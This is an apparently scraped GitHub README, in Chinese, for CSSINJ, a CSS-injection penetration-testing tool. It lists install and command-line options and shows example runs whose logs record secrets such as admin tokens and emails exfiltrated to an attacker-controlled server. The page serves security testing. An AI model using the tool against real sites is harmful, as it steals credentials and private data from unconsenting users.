DonAsako/CSSinj

GitHub: DonAsako/CSSinj

CSSINJ 是一款利用 CSS 注入漏洞从 Web 应用程序中窃取敏感信息的渗透测试工具。

Stars: 3 | Forks: 0

# CSSINJ ``` _____ _____ _____ _____ _ _ _ _____ __ __ / ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / / | | | (___ | (___ | | | \| | | | | |__) | \ \_/ / | | \___ \ \___ \ | | | . ` | _ | | | ___/ \ / | |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | | \_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_| ``` ## 关于 **CSSINJ** 是一款利用 [**CSS注入漏洞**](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/05-Testing_for_CSS_Injection) 从网络应用程序中窃取敏感信息的渗透测试工具。该工具专为安全专业人员设计,用于通过演示如何利用 CSS 隐蔽提取数据来评估网络应用程序的安全状况。 ## 安装 要安装 **CSSINJ**,请运行以下命令: ``` pip install cssinj ``` 现在,您可以开始使用 **CSSINJ** 了! ## 使用方法 ``` python3 -m cssinj [-h] -H HOSTNAME -p PORT [-e ELEMENT] [-a ATTRIBUT] [-d] [-m {recusive,font-face}] [-o OUTPUT] ``` ### 选项 | 选项 | 描述 | |------------------------|---------------------------------------------| | `-h, --help` | 显示帮助信息并退出 | | `-H, --hostname` | 攻击者的主机名或IP地址 | | `-p, --port` | 攻击者的端口号 | | `-e, --element` | 用于提取特定数据的HTML元素 | | `-a, --attribut` | 指定用于数据外泄的元素属性选择器 | | `-d, --details` | 显示数据外泄过程的详细日志,包括提取的数据 | | `-m, --method` | 指定数据外泄类型(递归或font-face) | | `-t, --timeout` | 视为数据外泄完成前的等待超时秒数(默认:3.0) | | `-o, --output` | 用于以JSON格式存储外泄数据的文件 | ### 示例 #### 受害者视图: ```

Welcome on my page !

... ... ``` #### 递归攻击 ###### 使用特定的HTML标识符: ``` ~ python3 -m cssinj inject -H 127.0.0.1 -p 5005 -e input _____ _____ _____ _____ _ _ _ _____ __ __ / ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / / | | | (___ | (___ | | | \| | | | | |__) | \ \_/ / | | \___ \ \___ \ | | | . ` | _ | | | ___/ \ / | |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | | \_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_| [2025-03-11 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005 [2025-03-11 03:06:49] 🌐 Connection from ::1 [2025-03-11 03:06:49] ⚙️ ID : 1 [2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : MySecretAdminToken [2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : admin@admin.XX [2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : admin ``` ###### 使用特定的CSS属性选择器和通用HTML标识符: ``` ~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e * -a src _____ _____ _____ _____ _ _ _ _____ __ __ / ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / / | | | (___ | (___ | | | \| | | | | |__) | \ \_/ / | | \___ \ \___ \ | | | . ` | _ | | | ___/ \ / | |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | | \_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_| [2025-03-11 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005 [2025-03-11 03:06:49] 🌐 Connection from ::1 [2025-03-11 03:06:49] ⚙️ ID : 1 [2025-03-11 03:06:49] ✅ [1] - The src exfiltrated from * is : XXXXXXXXXXX.XX ``` #### Font-face攻击 ``` ~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e h1 --method font-face _____ _____ _____ _____ _ _ _ _____ __ __ / ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / / | | | (___ | (___ | | | \| | | | | |__) | \ \_/ / | | \___ \ \___ \ | | | . ` | _ | | | ___/ \ / | |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | | \_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_| [2025-05-21 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005 [2025-05-21 03:06:49] 🌐 Connection from 127.0.0.1 [2025-05-21 03:06:49] ⚙️ ID : 1 [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : e [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : W [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : l [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : c [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : o [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : m [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : n [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : y [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : p [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : a [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : g [2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : ! ``` ## 浏览器特定行为 使用@import进行CSS注入攻击的成功与否取决于浏览器对CSS导入的处理方式: - 基于Chromium的浏览器(Chrome、Edge、Brave等)允许递归的CSS导入并会处理注入的样式,这使得它们容易受到使用@import的数据外泄技术的影响。 - 然而,Firefox对@import的处理方式不同: - 与基于Chromium的浏览器不同,Firefox会在应用任何样式之前处理所有@import规则。 - 结果,攻击会失败,因为浏览器从未处理CSS选择器,从而阻止了数据外泄。 - 这种行为会导致一个无限循环,浏览器会持续等待一个永远不会发生的CSS更新。 这种行为上的差异使得基于Chromium的浏览器更容易受到CSS注入数据外泄的影响,而Firefox则对此类攻击提供了更好的防护。 ## 待办事项 - 常规: - [ ] 添加错误处理器 - [ ] 文件错误处理器 - [ ] 添加测试 - [ ] 编辑终端 - 注入: - [x] 为font-face数据外泄添加超时 - 完整外泄(盲注): - [x] 0. 完成DOM对象 - [ ] 1. 获取HTML结构(标签) - [ ] 2. 获取每个元素的所有属性 - [ ] 3. 获取每个属性的所有值 - [ ] 4. 使用font-face数据外泄获取文本 ## 免责声明 本工具**仅用于道德黑客和安全研究**。**未经授权在未经明确许可的系统上使用是非法行为**。开发者**不对**任何滥用本工具的行为负责。 ## 作者 **CSSINJ** 由 **DonAsako** 开发。
标签:CSS注入, Python, Web安全, web应用测试, 信息泄露, 反取证, 多模态安全, 安全评估, 客户端漏洞, 敏感信息收集, 数据提取, 无后门, 网络安全, 蓝队分析, 逆向工具, 隐私保护